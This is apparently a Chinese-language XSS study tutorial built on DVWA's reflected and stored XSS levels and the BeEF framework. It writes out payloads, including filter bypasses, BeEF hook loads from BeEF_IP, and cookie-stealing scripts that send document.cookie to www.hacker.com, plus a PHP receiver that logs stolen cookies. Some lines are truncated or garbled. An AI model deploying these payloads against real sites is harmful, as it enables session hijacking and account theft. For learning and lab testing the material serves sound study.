XSS简介
XSS:Cross Site Scripting(跨站脚本)
为了避免与CSS混淆,所以简称XSS。
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到Web页面中去,使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
XSS攻击的危害
-
盗取各类用户账号,如机器登录账号、用户网银账号、各类管理员账号
-
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
-
盗窃企业重要的具有商业价值的资料
-
非法转账
-
强制发送电子邮件
-
网页挂马
-
控制受害者机器向其他网站发起攻击
原理解析
Reflected XSS,又称为非持久型XSS,攻击者注入的数据反映在响应中,一个典型的非持久型XSS包含一个带XSS攻击向量的链接(每次攻击需要用户的点击)。
Stored XSS又称为持久型XSS,XSS攻击向量(代码)存储在网站数据库,当一个页面被用户打开时执行。
构造XSS脚本
常用HTML标签
<iframe> iframe元素会创建一个包含另外一个文档的内联框架(行内框架) <textarea> 定义多行的文本输入控件 <img> 嵌入图像 <script> 定义客户端脚本
常用Javascript方法
alert 弹出警告框 window.location 获得当前页面的URL,并把浏览器重定向到新的页面 location.href 返回当前显示的文档的URL onload 一张页面或一幅图像完成加载 onsubmit 确认按钮被点击 onerror 在加载文档或图像时发生错误
构造XSS脚本
# 弹框警告 <script>alert('xss')</script> <script>alert(document.cookie)</script> # 页面嵌套 <iframe src=http://www.baidu.com width=300 height=300></iframe> <iframe src=http://www.baidu.com width=0 height=0 border=0></iframe> #页面重定向 <script>window.location="http://www.baidu.com"</script> <script>location.href="http://www.baidu.com"</script> # 弹框警告并重定向 <script>alert('xss');location.href="http://www.baidu.com"</script> # 访问恶意代码 <script src="http://BeEF_IP:3000/hook.js"></script> # 巧用图片标签 <img src="#" οnerrοr=alert('xss')> <img src="javascript:alert('xss');"> <img src="http://BeEF_IP:3000/hook.js"></img> # 绕开过滤的脚本 大小写 <ScrIpt>alert('xss')</SCRipt> 字符编码,采用URL、Base64编码 <a href="java">xss</a> # 收集用户cookie <script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script> <script>document.location("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script> <script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script> <img src="'http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
反射型XSS
安全级别
High Reflected XSS Source <?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { echo '<pre>'; echo 'Hello ' . htmlspecialchars($_GET['name']); echo '</pre>'; } ?> Medium Reflected XSS Source <?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { echo '<pre>'; echo 'Hello ' . str_replace('<script>', '', $_GET['name']); echo '</pre>'; } ?> Low Reflected XSS Source <?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { echo '<pre>'; echo 'Hello ' . $_GET['name']; echo '</pre>'; } ?>
手工XSS
被剪了
存储型XSS
手工
获取cookie
~# vim /var/www/html/cookie_rec.php <?php $cookie = $_GET['cookie']; $log = fopen("cookie.txt","a"); fwrite($log, $cookie."\n"); fclose($log); ?> chown -R www-data.www-data /var/www <script>window.open("http://192.168.1.1/cookie_rec.php?cookie="+document.cookie)</script>
自动化XSS
BeEF简介
Browser Exploitation Framework (BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透
BeEF是基于Ruby语言编写的,并且支持图形化界面、操作简单
BeEF基础
# 启动Apache和BeEF service apache2 start # 启动BeEF # Reset Database
信息收集
-
网络发现
-
主机信息
-
cookie获取
-
会话劫持
-
键盘记录
-
插件信息
持久化控制
-
确认弹窗
-
小窗口
-
中间人
社会工程
-
点击劫持
-
弹窗告警
-
虚假页面
-
钓鱼页面
渗透攻击
-
内网渗透
-
Metasploit
-
CSRF攻击
-
DDoS攻击